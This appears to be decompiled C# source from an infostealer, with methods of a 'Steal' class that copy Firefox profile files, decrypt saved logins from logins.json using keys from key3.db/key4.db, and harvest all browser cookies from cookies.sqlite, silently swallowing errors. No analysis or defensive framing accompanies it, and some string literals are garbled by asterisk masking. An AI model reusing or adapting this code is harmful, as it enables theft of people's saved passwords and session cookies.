// Token: 0x060001F5 RID: 501 RVA: 0x0000F250 File Offset: 0x0000D450 public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Steal.credential.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, Steal.credential[i] })); } Steal.credential.Clear(); } } catch (Exception) { } }
// Token: 0x060001EE RID: 494 RVA: 0x0000EC98 File Offset: 0x0000CE98 public static void Creds(string profile, string browser_name, string profile_name) { try { if (File.Exists(Path.Combine(profile, "key3.db"))) { Steal.Lopos(profile, Steal.p3k(Steal.CreateTempCopy(Path.Combine(profile, "key3.db"))), browser_name, profile_name); } Steal.Lopos(profile, Steal.p4k(Steal.CreateTempCopy(Path.Combine(profile, "key4.db"))), browser_name, profile_name); } catch (Exception) { } }
// Token: 0x060001F4 RID: 500 RVA: 0x0000F0BC File Offset: 0x0000D2BC public static void CookMhn(string profile, string browser_name, string profile_name) { try { CNT cnt = new CNT(Steal.CreateTempCopy(Path.Combine(profile, "cookies.sqlite"))); cnt.ReadTable("moz_cookies"); for (int i = 0; i < cnt.RowLength; i++) { try { Steal.domains.Add(cnt.ParseValue(i, "host").Trim()); Steal.Cookies_Gecko.Add(string.Concat(new string[] { cnt.ParseValue(i, "host").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "path").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "expiry").Trim(), "\t", cnt.ParseValue(i, "name").Trim(), "\t", cnt.ParseValue(i, "value"), Environment.NewLine })); } catch { } } } catch (Exception) { } }